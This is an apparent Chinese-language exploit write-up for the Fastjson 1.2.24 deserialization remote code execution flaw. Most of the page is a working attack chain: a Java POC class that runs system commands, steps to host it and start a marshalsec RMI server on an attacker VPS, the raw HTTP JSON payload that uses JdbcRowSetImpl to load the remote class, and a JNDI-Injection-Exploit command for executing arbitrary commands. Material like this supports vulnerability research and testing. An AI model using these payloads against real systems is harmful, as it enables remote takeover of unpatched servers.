Fastjson 1.2.24 反序列化RCE
漏洞概述¶
Fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞
Fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链
影响范围¶
Fastjson <= 1.2.24
POC¶
1、编译POC
将代码编写为class类文件,并将生成的类文件放在web目录下,启动web服务
//POC.java
import java.lang.Runtime;
import java.lang.Process;
public class POC {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"ping", "bnntoh.dnslog.cn"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
#编译
javac POC.java
#启动web服务
python3 -m http.server 8001
2、配置RMI环境
用marshalsec项目,启动一个RMI服务器,监听9999端口,并加载远程类
下载地址:https://github.com/mbechler/marshalsec
切换到marshalsec目录下使用maven进行打包,
mvn clean package -DskipTests
开启监听
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://VPS-IP:8001/#POC" 9999
备注:http://xx.xx.xx.xx:9999/#POC 是放Java类的地址,类只要写名字即可,不需要加.class,其次类名前要加#
3、发送Payload
POST / HTTP/1.1
Host: 192.168.2.133:32768
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 167
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://VPS-IP:9999/POC",
"autoCommit":true
}
}
EXP¶
使用相对简单的自动化工具
对于JNDI注入POC,会使用到RmiServer或者LdapServer(在Jndi注入中Ldap比Rmi的条件限制少)
@welk1n(JNDI-Injection-Exploit)
需要VPS放行端口,此工具会自动打开监听端口
1、自动开启RMI和LDAP服务以及发布Exploit类
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "要执行的命令" -A "VPS-IP"
2、Burp发送Payload(即POC中的第三步)